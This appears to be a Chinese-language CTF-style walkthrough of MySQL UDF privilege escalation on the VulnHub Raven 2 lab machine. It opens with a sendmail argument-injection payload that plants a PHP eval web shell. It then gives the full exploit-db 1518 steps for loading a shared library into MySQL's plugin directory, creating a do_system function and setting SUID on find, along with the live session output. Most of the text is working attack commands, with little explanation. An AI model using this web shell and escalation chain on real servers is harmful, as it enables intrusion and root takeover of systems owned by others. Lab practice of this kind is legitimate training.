通过靶场让你了解Mysql UDF提权

https://www.vulnhub.com/entry/raven-2,269/

"aaa". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @test.com
<?php @eval($_POST['tommonkey']);?>

show variables like "%plugin%";

https://www.exploit-db.com/exploits/1518

use mysql;

show tables;

# 查找myslq plugin的路径
show variables like "%plugin%"; 
	
create table foo(line blob);

# 通过load_file()函数读取指定路径下的文件内容，并将其其插入到foo表中
insert into foo values(load_file('/var/www/1518.so')); 
	
# 通过dumpfile()函数将foo表中所有内容写出到指定目录文件下，如果没有该文件，将会自动创建
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
	
# 在数据库中创建一个名为’do_system‘的函数，这个函数是用来执行系统命令的，其返回类型是整数。soname '1518.so'指定了这个函数的实现，即函数体所在的共享库文件为"1518.so"
create function do_system returns integer soname '1518.so';
	
# mysql.func这个表包含了mysql所有内置函数信息
select * from mysql.func;
	
# chmod u+s /usr/bin/find：给该命令设置setuid 权限，命令在执行时将以拥有者的身份而不是执行者的身份来执行，这意味着以 root 用户的权限执行。这里的chmod u+s /usr/bin/find当然也可以换成其他linux命令，回车后都会直接已root执行，只不过给find命令添加suid权限，更加方便与节省时间
select do_system('chmod u+s /usr/bin/find');
# 这里除了do_system()函数执行命令外，还有sys_eval也能执行任意命令，并将输出返回。sys_exec也能执行任意命令，并将退出码返回，看个人选择

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
24 rows in set (0.00 sec)

mysql> select variables like "%plugin%";
select variables like "%plugin%";
ERROR 1054 (42S22): Unknown column 'variables' in 'field list'
mysql> show variables like "%plugin%";   
show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('/var/www/1518.so'));      
insert into foo values(load_file('/var/www/1518.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql>